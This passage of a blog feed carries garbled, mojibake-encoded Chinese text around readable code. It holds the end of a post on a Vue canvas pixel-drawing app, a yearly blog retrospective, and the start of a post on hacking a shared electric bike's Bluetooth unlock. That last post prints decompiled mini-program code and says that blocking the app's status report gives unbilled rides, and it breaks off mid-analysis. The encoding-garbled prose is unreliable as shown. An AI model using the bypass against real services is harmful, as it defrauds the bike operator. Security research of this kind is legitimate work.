<p>ç»å¸ç缩æ¾ï¼å¯ä»¥ç´æ¥ç¨ Canvas Context ç <code>scale()</code>æ¹æ³ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>ctx.scale(ratio.value, ratio.value)
</span></span></code></pre></div><p>å
³äºç»å¸å·æ°å½æ° <code>refreshCanvas()</code>ï¼ChatGPT åè¯æäºè¶
好ç¨ç <code>save()</code> å <code>restore()</code> æ¥ä¿ååè¿åç»å¸ç¶æã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>ctx.save()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ctx.clearRect(<span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>, paintingCanvas.value.width, paintingCanvas.value.height)
</span></span><span style="display:flex;"><span>ctx.scale(ratio.value, ratio.value)
</span></span><span style="display:flex;"><span>ctx.translate(deltaX.value, deltaY.value)
</span></span><span style="display:flex;"><span>ctx.drawImage(baseCanvas.value, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ctx.restore()
</span></span></code></pre></div><p>å½è°ç¨ <code>save()</code> æ¶ï¼Canvas çå½åå
¨é¨ç¶æå°è¢«æ¾å
¥æ ä¸ï¼ç¸å½äºå½ä¸æä¸ºäº Canvas çä¸ä¸ªé»è®¤ç¶æï¼å¨ <code>save()</code> åçä»»ä½ä¿®æ¹ï¼é½æ¯å¨è¿ä¸ªé»è®¤ç¶æä¹ä¸è¿è¡ãå½æ们çæ¹å¨å®æåï¼ä½¿ç¨ <code>restore()</code> å°ä¿åçç¶æä»æ ä¸å¼¹åºï¼æ¢å¤ç¶æã</p>
<h3 id="ç¹å»æå¨">ç¹å»æå¨</h3>
<p>ç¹å»æå¨éè¦åæ¶å¤ç <code>@mousedown</code> <code>@mousemove</code> <code>@mouseup</code> ä¸ä¸ªäºä»¶ï¼åå«å¯¹åºç¨æ·æä½ä¸çé¼ æ ç¹å»ãé¼ æ 移å¨æå¨ãé¼ æ æ¬èµ·ç»ææå¨ãè¿è¾¹ä½¿ç¨ <code>isMoving</code> åéæ¥å¤æå½åé¼ æ ç¹å»ï¼æ¯è¦æå¨è¿æ¯è¦ç»åç´ ç¹ãCanvas Context ä¸ä½¿ç¨ <code>translate()</code> æ¹æ³æ¥å¹³ç§»ç»å¸ï¼æä»¬æ ¹æ®é¼ æ æå¨äºä»¶çå¢éæ¥è®¡ç®å¹³ç§»çè·ç¦»å³å¯ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Move canvas with translate.
</span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">if</span> (event.buttons <span style="color:#ff7b72;font-weight:bold">===</span> <span style="color:#a5d6ff">1</span>) {
</span></span><span style="display:flex;"><span> deltaX.value <span style="color:#ff7b72;font-weight:bold">+=</span> event.movementX <span style="color:#ff7b72;font-weight:bold">/</span> ratio.value
</span></span><span style="display:flex;"><span> deltaY.value <span style="color:#ff7b72;font-weight:bold">+=</span> event.movementY <span style="color:#ff7b72;font-weight:bold">/</span> ratio.value
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (deltaX.value <span style="color:#ff7b72;font-weight:bold">></span> <span style="color:#a5d6ff">0</span>) {
</span></span><span style="display:flex;"><span> deltaX.value <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (deltaY.value <span style="color:#ff7b72;font-weight:bold">></span> <span style="color:#a5d6ff">0</span>) {
</span></span><span style="display:flex;"><span> deltaY.value <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (baseContext.value) {
</span></span><span style="display:flex;"><span> refreshCanvas()
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="ç¨æ·ç»å¶">ç¨æ·ç»å¶</h3>
<p>ç¨æ·ç»å¶å³å¨ <code>@mousedown</code> çæ¶åï¼å¤æ <code>isMoving === false</code> æ¶ï¼å°å¯¹åºåç´ ç¹çé¢è²ï¼å¡«å
è¿ä¸é¢æå°çå¤ä»½ Canvas <code>baseContext</code> ä¸ï¼åç¨ <code>refreshCanvas()</code> å½æ°å·å°é¡µé¢ä¸ç Canvas éãæåç¨æ·éè¦æå¨ç¹å»é¡µé¢ä¸çç»æç»å¶ï¼è¿æ¶å°ç¨æ·ç»å¶çåç´ ç¹ä¿¡æ¯åéå°å端æ¥å£å
¥åºä¿åã</p>
<h2 id="å¦ä½å¼å
¥å°ç°æ项ç®ä¸">å¦ä½å¼å
¥å°ç°æ项ç®ä¸ï¼</h2>
<p>以ä¸å°±æ¯ NekoPixel çå®ç°åçåå
³é®ç¹ï¼ä½ å¯ä»¥å¯¹ç
§å¼æºç代ç ä»ç»åæã</p>
<p>NekoPixel æ¯ä¸ä¸ªç± Vue3 ç¼åçåå端å离çåºç¨ï¼æ该å¦ä½å°å
¶å¼å
¥å°æçåå端ä¸å离ç NekoBox ä¸å¢ï¼æäºè§£å° Vue æ¯æ UMD (Universal Module Definition) ç»ä»¶åæ建ï¼æç»äº§ç©æ¯ä¸ä¸ª JavaScript æ件ï¼å°å
¶å
åµå° NekoBox 页é¢ä¸ï¼ç¶å设置å
¶ Mount å°æå®ç <code><div></code> å
ç´ ä¸å³å¯ã</p>
<p>ä½ å¯ä»¥å¨ <a href="https://github.com/wuhan005/NekoPixel/blob/master/web/config/vite.config.umd.ts">vite.config.umd.ts</a> ä¸çå°å
¶ VIte æ建é
ç½®ãæ建åºæ¥çå端产ç©å°è¢«åå¸ä¸º NPM å
ï¼<a href="https://www.npmjs.com/package/@e99p1ant/neko-pixel-umd">@e99p1ant/neko-pixel-umd</a>ï¼æ¾ä¸ª NPM éåæºå¼å
¥å
¶ JavaScript å CSS å° NekoBox ä¸å³å¯ä½¿ç¨ãæ¥åéè¦æ´æ°ï¼ä¹åªç¨å¨ NekoBox ç模æ¿ä¸ä¿®æ¹ä¸ NPM ççæ¬å·å³å¯ï¼ååæ¹ä¾¿ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"><!-- CSS æ ·å¼ --></span>
</span></span><span style="display:flex;"><span><<span style="color:#7ee787">link</span> rel<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"stylesheet"</span> href<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"https://unpkg.com/@e99p1ant/[email protected]/style.css"</span>/>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"><!-- æè½½ NekoPixel ç div æ ç¾ --></span>
</span></span><span style="display:flex;"><span><<span style="color:#7ee787">div</span> id<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"app"</span>></<span style="color:#7ee787">div</span>>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"><!-- èªå®ä¹é
ç½® --></span>
</span></span><span style="display:flex;"><span><<span style="color:#7ee787">script</span>>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> NEKO_CONFIG <span style="color:#ff7b72;font-weight:bold">=</span> {pixelBaseURL<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">'/api/v1/pixel'</span>}
</span></span><span style="display:flex;"><span></<span style="color:#7ee787">script</span>>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"><!-- NekoPixel UMD äº§ç© --></span>
</span></span><span style="display:flex;"><span><<span style="color:#7ee787">script</span> src<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">"https://unpkg.com/@e99p1ant/[email protected]/neko-pixel-app.umd.js"</span>></<span style="color:#7ee787">script</span>>
</span></span></code></pre></div><p>ä½ å¯è½æ³¨æå°äºä¸é¢ä»£ç ä¸ç <code>NEKO_CONFIG</code> å±æ§ï¼å¨ NekoPixel ç <a href="https://github.com/wuhan005/NekoPixel/blob/master/web/src/api/interceptor.ts">interceptor.ts</a> ä¸ï¼æéè¿å
¨å±ç¯å¢ä¸ç该åé设置 axios 请æ±åºç <code>baseURL</code>ãè¿æ ·å
¶å®å°±ç®åå®ç°äºå¤é¨ä¸ UMD ç»ä»¶çæ²éã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-typescript" data-lang="typescript"><span style="display:flex;"><span><span style="color:#ff7b72">if</span>(window.NEKO_CONFIG){
</span></span><span style="display:flex;"><span> axios.defaults.baseURL <span style="color:#ff7b72;font-weight:bold">=</span> window.NEKO_CONFIG.pixelBaseURL;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>éè¿ä¿®æ¹åæ¬ç <code>baseURL</code>ï¼å° NekoPixel ç»æ¿çææ请æ±æå NekoBox ç <code>/pixel</code> ä¸ï¼<code>/pixel</code> è·¯ç±è½¬åç¨æ·è¯·æ±å°æå¡å¨ä¸ç NekoPixelãç¸å½äº NekoBox å¨ä¸é´åäºå±å代 <a href="https://github.com/NekoWheel/NekoBox/blob/master/route/pixel/pixel.go#L23-L62">pixel.go</a>ï¼ä¸ºçæ¯è½å°ç»å¶åç´ ç¹çç¨æ· ID 带ä¸ï¼æ¾å°æç»è¯·æ±å
¥åºä¿åã</p>
<h2 id="æå说å å¥">æå说å å¥</h2>
<p>NekoPixel æ¯æä»å¹´å¨è家è¿å¹´çæ¶åå¼åçï¼åå¸ä¸çº¿åï¼æç®åçç¨åç´ ç¹åäºä¸ª <code>NKBOX</code>ãåç»ççæ大触å¨ä¸é¢ç»äºåç´ ç»ï¼æç NekoBox è´¦å·ä¹æ¶å°äºç¨æ·å¿ååé¦è¯´å¾å欢è¿ä¸ªæ°åè½ã</p>
<p><img src="https://github.red/images/2024/02/neko-pixel-0224.png" alt="neko-pixel-0224"></p>
<p>ä½å
¶å®è¿æå¾å¤éè¦å®åçå°æ¹ï¼æ¯å¦ç»æ¿ä¸ä¼åé¼ æ æå¨çä½ç½®ç¼©æ¾ï¼è¿æ¯ Y7 æçåååï¼ãå è½½ç»æ¿çæ¶å没ææ示ãç¨æ·ç»å¶æ¶çéªè¯ä¸éæµçï¼é½æ¯è¦åªåå»å®ç°çã</p>
<p>èªä»è¿å¹´é£éµåï¼å°±æ人ä¸ç´å¨ DDoS NekoBox åå
¶ååãåå¼å§çæ¶å毫æ é²å¾¡è¢«å·äºä¸æ³¢é¿éäºè´¦åï¼åç»ç±äºé¿éäºäº§åçåç§ç¦»è°±è®¾å®ï¼å ä¸å·¥å客æç»çé²å¾¡æ¹æ¡æ ¹æ¬ä¸èµ·ä½ç¨ï¼æå° NekoBox 以åèªå·±çå
¶ä»æå¡ç±é¿éäºè¿ç§»å°äº Cloudflare ä¸ï¼è¿æææç¼è§£ãç¹å«æ¯åäºæ¥åä¸æä¸æåºäº <strong>10T</strong> çæµéï¼è¿è¦æ¯è¿æ¾é¿éäºä¸ï¼æç´æ¥å°± 5000 å没äºã</p>
<p>äºèç½ä¸è¿æ¯å人å¤åï¼ä¸å¼å§æ¯ç¯çå·æ NekoBox ä¸æçæ¯ä»å®æ¶æ¬¾ç å¾çãY7 ä¹åæä¸è¦åå° NekoBox çæèµè®°å½å
¬å¼åºæ¥ï¼çå¾æ人ç¼çº¢æäºï¼ä½ææ³çè¿æ¯éè¦å¯¹ç¤¾åºå
¬å¼çä¿¡æ¯ï¼ä¸æèµç人å¯è½ä¹æ¯æ±çè½è¢«å±ç¤ºåºæ¥çå¿æ
ææèµçã</p>
<p>æä¹å¨æ³ NekoBox è¿ä¸ªç«è¿è¦ä¸è¦ç»§ç»æä¸å»ï¼æ´æ·±å±æ¬¡çï¼ææ¯ä¸æ¯ä¸åºè¯¥åæ±çæè°âå¼æºâåâç¨ç±åçµâçå¿æ
å»é¢å¯¹ææ¯ãå°±åææè¿å客æ¶å°çä¸æ¡è¯è®ºä¸ææåçï¼æ¯ä¸æ¯ç¨ææ¯ä»¥åä¿¡æ¯å·®å»å²éèæ¯ä¸æ¯ææ¯æ´éè¦çï¼ä»¥åçå°å¾å¤ GitHub ä¸å stars 项ç®çä½è
ï¼å¨ä¸ªäºº Profile éå want a jobï¼å½æ¶è¿çæä»ä»¬è¿ä¹åºåè¿ä¹å害ï¼æä¹ä¼æ²¡å·¥ä½çå¢ï¼æè¿è¿æ®µæ¶é´ï¼æå¼å§æ
¢æ
¢ç解äºãæå¼å§è¶åè§å¾âå¼æºâæ¬èº«æ¯å¥¢ä¾çãæ¯æ¬¡åç°æçä¸äºå¼æºé¡¹ç®è¢«äººæ¿å»åç¨èµçç满éµæ»¡çæ¶åï¼æä»ä¹ä¹å¾ä¸å°ï¼æè°çâåè®®âä¹åªæ¯èªæ¬ºæ¬ºäººç½¢äºãæç°å¨æ¥å¸¸æâå¼æºâå½åä¹è¶£ï¼å®å¨æ¯ä¸ç§âä¸èªéåâçè¡ä¸ºãå½æä¸ä¸ªæ没å°æ¹ä½ãä¸é¡¿é¥æ²¡é±åçæ¶åï¼æè°çâ社åºâåå¨åªå¢ï¼</p>
- è¿å°ç LightCube å
«å¨å¹´æ»ç»https://github.red/lightcube-8th/Thu, 16 Nov 2023 21:07:22 +0800https://github.red/lightcube-8th/<blockquote>
<p>æç« å¤´å¾æ¥èª <a href="https://www.pixiv.net/artworks/102940261">https://www.pixiv.net/artworks/102940261</a>
å 为æ¯å
«å¨å¹´æ以就éäºå¼ 86 çå¾</p>
</blockquote>
<p>æç
§åé¢å å¹´çæ¯ä¾ï¼æä¸è¬ä¼å¨æ¯å¹´ç 10 æ 4 æ¥å·¦å³åä¸ç¯å客çæ»ç»æç« ï¼å顾æ»ç»è¿å»ä¸å¹´å
å客å¨å
容åææ¯ä¸åççååã
ç¶èä»å¹´ 10 ææ¯ç¬¬ä¸æ¬¡è·³ç¥¨ãð åå æ¯æ´ä¸ªå½åºåæè½ç¶æ¯å¨æ¹åè家度è¿ï¼ä½æ¯å
¨é½è¢«å·¥ä½ç»æ满äºãæç»èªå·±ç项ç®ææçæ¿ä¸è§å®äºæ¯æ¥å
«å°æ¶çå·¥ä½éï¼åºæ¬ä¸è
¾ä¸åºä»ä¹ç©ºé²æ¶é´ï¼å¥½å¨æåè¿äºä»»å¡ä¹å¤§å·®ä¸å·®å°å®æäºã
å½åºåæåæ¥åï¼åæ¯é©¬ä¸åè¹å°è¦åå¤åæ¯èµï¼ç¶ååæ¯å»å¹¿å·åºå·®ï¼åºå·®åæ¥å马ä¸è¦å»åå ä¸ä¸ªæ¯èµ…… ç¶ååçªç¶å¾ç¥éè¦å»åå ä¼è®®å享议é¢ï¼æ¥æ¥å¿å¿å稿åå PPTãåºæ¬ä¸è¿éµå没å¥å®æ´çåä¼æ¥ï¼ä»å¤©ç®æ¯é¾å¾è½åä¸æ¥åå£æ°ï¼æå
«å¨å¹´çæ»ç»ç»åäºã</p>
<p>æ¬æ¥æ³æ³è¿æºéæ¾çï¼ä½æ¯ y7 说以å¾å å¹´é½æ¯åç¹çï¼ä»å¹´æ¨è¿ä¸äºï¼åèè½ä½ç°è·åé¢å å¹´æä¸ä¸æ ·çååãæ³æ¥ä¹æ¯ã</p>
<p>å»å¹´çæ»ç»æ¯å¨æ·±å³ç家éåå¾ï¼ä¸»è¦æ¯è®²è¿°å客åäºåççä¸äºè½¬åãä»å¹´åæ¯å¨èªå·±ç§çæå·éåºæ¿åéï¼æåç 11 æçå¯æï¼ç¼©å¨é®çååä¸è¿æ®µæ»ç»ãè¿å»çä¸å¹´å客å¨ææ¯å±é¢æ²¡æ太å¤çååï¼ä¾æ§æ¯é¨ç½²å¨é¿éäºç Kubernetes é群ä¸ï¼ä½ä¸ç¥éæ¯å¦æ人å¯è§å°ï¼ä»å¹´ä¸æ´å¹´å客ç稳å®æ§é½åå·®äºãå¾å¤æ¶å访é®ç½ç«é½æ¯ç´æ¥ä¸éï¼çè³è¿ä¸ª 500 çæ¥é页é¢ä¹æ²¡æãåå åæ¯ä¸ºäºçé£ä¸ç¹é±ï¼æäºäºéªæä½ï¼ä½æ¯å´å¤§å¤§çºç²äºå客ç稳å®æ§ãæåå³å®è¿æ¯æ¢å¤å°ä¹åçç½ç»ç»æï¼èµ·ç å¾ä¿è¯ç«ä¸ç¸ã</p>
<p>åå 天å¨åè¿ä¸ªåæ´çæ¶åï¼æ°é¢é¿éäºæ§å¶å°å
¨é¢å®æºï¼è´ä¹°çè´è½½åè¡¡å®ä¾å±
ç¶æ²¡è½æåå建åºæ¥ï¼ä¹æ¯å¤ç¦»è°±çãï¼è½è¯´æ¯æéä»è´¹ï¼ä¸åçæ¶å没æ£é±ï¼çé¿éäºæ¢å¤åï¼æ便å°è¯æç½ç«ç CDN ä¹å
¨é¢åå°äºé¿éäºï¼æ¾å¼äºåæ¬ä¸çäºçéæèµæº CDNã
æä¸ç´æä¸å¤ªæï¼ææä¸çäºèåçäºåå¨è®¾æ½æ¥çå°±æ¯é¿éäºï¼ä½å®ç CDN å 载个平平æ å¥ç PNG å¾çå°±æ¯ä¼å¡ä¼æ
¢ï¼ååºå¤´éä¹é½å¾æç¡®ç说äºå½ä¸äº CacheãCDN åå°é¿éäºåï¼æåæ¶å
³éäºé¡µé¢å¾çæå è½½çæ件ï¼é¦é¡µç访é®æäºä¸ç¹å¾®å°çé度æåãä½ç¬¬ä¸æ¬¡è®¿é®è¿æ¯ä¼æ 1-2 ç§çç½å±ï¼ä¸ç´åä¸å°ç§åºãè¿è¦æ¯åè·ä¸å»ï¼æä¸æ¯å¾å»ææ¥ PHP é£è¾¹çæ§è½é®é¢äºãç¼ä¸æåæ¯æ²¡æå¾å¤æ¶é´ï¼åªè½å¯å¸æäº bitnami ç WordPress éåè½å¤åäºå
ç½®çä¼åå§ã</p>
<p>å
¶å®æè¿å 天åå¼å§å¹»æ³èªå·±åä¸å¥å客系ç»çå¯è½æ§äºãä½æè¦é¢å¯¹çé®é¢è¿æ¯è·ä¹åä¸æ · ââ æ没æåæ³å®ç¾å¤å»åºä¸ä¸ªæç°å¨è¿æ ·å¥½ççå端åºæ¥ãç®åè¿ä¸ªå端ç CSS å JavaScript çå¾å°±å¤´å¤§ãæå¦æè¦éæå客ï¼é£è¿è¦èªå·±ä¸ç¹ç¹åæï¼æè¿äºäº¤äºåæ ·å¼çä¸è¥¿ç»æåºæ¥ï¼ççæ¯æå¤ç¹ççãä½æ¯å¦ä¸æ¹é¢æåå¾ç¾¡æ
é£äºè½ç´æ¥ç§å¼ï¼åª²ç¾éæ页é¢é度çå客ãï¼ä¸»è¦è¿æ¯è¿å 天帮 y7 å¼ hexo ç«ï¼é£å è½½é度ç´æ¥å®ç§æç°å¨ç WordPress ç«ãï¼</p>
<p>å¯ï¼å·®ä¸å¤å°±æ¯è¿æ ·ãå 为æ¯æ½ç©ºåå¾æç« ï¼æ以å¯è½ä¼æ¯è¾ä¹±…… æå·²ç»é¢æ³å°å¨æ°çä¸å¹´éèªå·±çæ´æ°é度ä¸ä¼å¤ªé«ï¼çè³é¾å¾è½å¨ç½ä¸æ´»è·ä¸ä¸äºãå¹´å°æ¶è¿å¯¹ âè¶å¿ç人ï¼è¶æ¯ä¸åå客â âå客åªæé²äººæåâ è¿ç±»è¯å¤ä¹ä»¥é¼»ï¼ç°å¨çæ¥ä¹ä¸å
¨æ éçã</p>
- åç BLEï¼å¦ä½å
è´¹éªå®¶æ¥¼ä¸çå
±äº«çµå车https://github.red/hack-ble-electric-bicycle/Sat, 05 Aug 2023 02:31:13 +0800https://github.red/hack-ble-electric-bicycle/<p>è·ç¦»ä¸ä¸æ¬¡ä¸æ份åå客ï¼å·²ç»è¿äºæ´æ´äºä¸ªæäºã</p>
<p>æå¨ä¸æåºçæ¶åå»å京æäºä¸åº CTF 线ä¸èµï¼é¡ºå¸¦æ
游äºä¸æ³¢ãåæ份çæ¶å…… æï¼æ¯èå身 23 å¹´çæï¼å±
ç¶å¦æ¿ä»¥å¿å°è±åäºãè°æç±ä¹åæè§æ¯å¤©çæ¶é´é½è¿å¾é£å¿«ï¼åç§åºå»ååååééï¼æ以å客ä¸ç´æç没åãï¼å½æ¶ä¹æ²¡å¥ä¸è¥¿å</p>
<p>å
æ份çæ¶åæå¨ä½æç§çå
¬å¯å°æäºï¼åå ä¸ç°å¨æ¯å¨å®¶è¿ç¨å¼¹æ§åå
¬ï¼æ便æ¬å°äºæå·æ¯è¾åçå°æ¹ä½çï¼è¿éçæ¿ä¸é½æ¯éè¿çæè¿æ·ï¼å»å¹´å¹´åºæ¯ä¸ªäººé½åå°äºå¥½å å¥å®ç½®æ¿ï¼éæ¿æ¥åºç§ç»éè¿çå¦çåä¸çæï¼æ¿ç§é£å«ä¸ä¸ªä½ã
ä½æ¿ç§ç代价就æ¯åºé¨å¾ä¸æ¹ä¾¿ï¼æè¿çå°éç«ä¹è¦ä¸¤å
¬éãéçå°åºéè¿çåºç¡è®¾æ½éæ¸å®åï¼æåç°å®¶æ¥¼ä¸æå
±äº«çµå车äºï¼æ¯å¤©æä¸é¥¿äºå¯ä»¥éªççµå车å°ç¦»å®¶å å
¬éçæµ·åºææä¸é¡¿ã</p>
<p>ä¸è¿è¿å
±äº«çµå车æ¯è¾åï¼ä¸æ¬¡èµ·å
20 å
ï¼æ¶é´ä¹
äºï¼æé¾å
æç¹å¿çæ³è¯è¯æï¼æ天æä¸æææ¨äºä¸è¾è½¦è¿çµæ¢¯ä¸æ¥¼ï¼ç¶åæ¾å®¶é客å
ãå¼å¹²ï¼</p>
<p>å 为ææ¹ä¸ä¸è¯¥æ¹ç麻ç¦ï¼ä»¥ä¸å
容æé¨åä¿®æ¹åæç ï¼æ¬è¯·è°
解ã</p>
<h2 id="å
ä»å°ç¨åºä¸æ">å
ä»å°ç¨åºä¸æ</h2>
<p>è·å¸é¢ä¸çå
±äº«å车ä¸æ ·ï¼è§£éä¸è¾å
±äº«çµå车æ¯éè¿ææºæ«æ车身ä¸çäºç»´ç ï¼æ起微信å°ç¨åºï¼ç¶åå¨å°ç¨åºå
ç¹å»å¼éãé£ä¹æ们就å
ä»å°ç¨åºå
¥æï¼ççå®çå¼éæµç¨ä¸æ¯å¦æä¸å®å
¨çå ç´ ã
微信å°ç¨åºçåç¼è¯è§£å
å¨ GitHub ä¸æç°æçå·¥å
·ï¼æ¬æå°±ä¸åèµè¿°ãæåé¢å
¶å®æ¯ç¨äºæ´å åå·§çæ¹å¼è½»æ¾å°æ¿å°äºå°ç¨åºè§£å
åç代ç ãåºæ¬ä¸æ¯å¨æºç JavaScript ä¸æå
å缩è¿çç¨åº¦ï¼éæçåéè·æµç¨ä¹æ¯ååè½»æ¾ã</p>
<p>æ们ç´æ¥å¨å
¨å±ä»£ç ä¸æç´¢<code>å¼é</code>äºåï¼å¾å¿«å°±æ¾å°äºå
¶å°ç¨åºä¸çâå¼éä¸â Toast å¼¹çªï¼å¼¹çªçåè°å°±æ¯è°ç¨èçåéå¼éçæä½ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>(wx.showToast({
</span></span><span style="display:flex;"><span> title<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"å¼éä¸"</span>,
</span></span><span style="display:flex;"><span> icon<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"loading"</span>,
</span></span><span style="display:flex;"><span> mask<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">0</span>,
</span></span><span style="display:flex;"><span> duration<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">1e5</span>
</span></span><span style="display:flex;"><span> }), e.checkToken(<span style="color:#ff7b72">function</span>(o) {
</span></span><span style="display:flex;"><span> o.length <span style="color:#ff7b72;font-weight:bold">></span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72;font-weight:bold">&&</span> e.operateBluetooth(<span style="color:#a5d6ff">"open"</span>, e.globalData.machineNO, <span style="color:#ff7b72">function</span>(n) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (n) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> a <span style="color:#ff7b72;font-weight:bold">=</span> e.globalData.baseUrl <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">"park/continueRide.do"</span>, l <span style="color:#ff7b72;font-weight:bold">=</span> {
</span></span><span style="display:flex;"><span> token<span style="color:#ff7b72;font-weight:bold">:</span> o,
</span></span><span style="display:flex;"><span> ble<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72;font-weight:bold">!</span><span style="color:#a5d6ff">0</span>,
</span></span><span style="display:flex;"><span> orderSource<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">3</span>
</span></span><span style="display:flex;"><span> };
</span></span><span style="display:flex;"><span> t.request(a, l, <span style="color:#ff7b72">function</span>(o) {
</span></span><span style="display:flex;"><span> o.ret <span style="color:#ff7b72;font-weight:bold">&&</span> (wx.hideToast(), e.unlockAudio(), i <span style="color:#ff7b72;font-weight:bold">&&</span> i());
</span></span><span style="display:flex;"><span> });
</span></span><span style="display:flex;"><span> } <span style="color:#ff7b72">else</span> t.showModal_nocancel(<span style="color:#a5d6ff">"èçæä½å¤±è´¥ï¼è¯·éè¯ï¼"</span>);
</span></span><span style="display:flex;"><span> });
</span></span><span style="display:flex;"><span> }))
</span></span></code></pre></div><p>åç°éç¹æ¯ <code>operateBluetooth</code> å½æ°ï¼è¿ä¸ªå½æ°ä¼ å
¥äºä¸ä¸ªå
¥åï¼åå«æ¯ <code>open</code> å符串ã<code>e.globalData.machineNO</code> ä¹å°±æ¯è½¦è¾ç¼å·ï¼åæè¿ååç°å°±æ¯è½¦è¾äºç»´ç ä¸é¢çæ°åï¼ç¬¬ä¸ä¸ªåæ°æ¯ä¸ä¸ªå½æ°ï¼çå½æ°éé¢è°ç¨äº <code>park/continueRide.do</code> æ¥å£ï¼åºè¯¥æ¯åæå¡ç«¯ä¸æ¥è½¦è¾çå¼éç¶æãè¿ä¸ªå½æ°åºè¯¥å°±æ¯ä¸ªåè°å½æ°ã</p>
<p>ç±è¿éæ们å
¶å®ä¹å¯ä»¥ç¥éï¼è½¦è¾å¨å¼éåæ¯ææºä¸çå°ç¨åºä¸æ¥å¼éç¶æçï¼å 为å
±äº«çµå车æ¬èº«æ¯æ æ³èç½çï¼å®çä¸åå¼éå
³éå®ä½ç¶æé½éè¦ç¨æ·çææºä¸æ¥ãå¦ææ们å¨ææºä¸ block æäºè¿ä¸ªåéç»æå¡ç«¯ç请æ±ï¼å°±å¯ä»¥å®ç°èçå¼éåä¸è®¡è´¹ã车è¾æ¬èµ°åä¸æ´æ°å®ä½çåè½ã</p>
<p>ä½ç§ç对ææ¯ç追æ±ï¼æè¿æ¯æ³ç»§ç»æ·±æè¿ä¸ªèçéä¿¡çè¿ç¨ãå¾ä¸è· <code>operateBluetooth</code> å½æ°ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>operateBluetooth<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#ff7b72">function</span>(o, t, e) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">var</span> a <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">this</span>;
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">this</span>.getSecretKey(t).then(<span style="color:#ff7b72">function</span>(n) {
</span></span><span style="display:flex;"><span> a.bluetooth.start(o, n.machineNO, n.secret, <span style="color:#ff7b72">function</span>(o) {
</span></span><span style="display:flex;"><span> a.saveLog(t, a.globalData.mobileBrand, a.globalData.mobileOS, JSON.stringify(a.bluetooth.getLog())),
</span></span><span style="display:flex;"><span> console.log(a.bluetooth.getMachinevoltage()), e <span style="color:#ff7b72;font-weight:bold">&&</span> e(o);
</span></span><span style="display:flex;"><span> });
</span></span><span style="display:flex;"><span> });
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>è¿éæ们éå°äºç¬¬ä¸ä¸ªâ纸èèâï¼æ个 <code>getSecretKey</code> å½æ°ï¼å®çå½æ°å
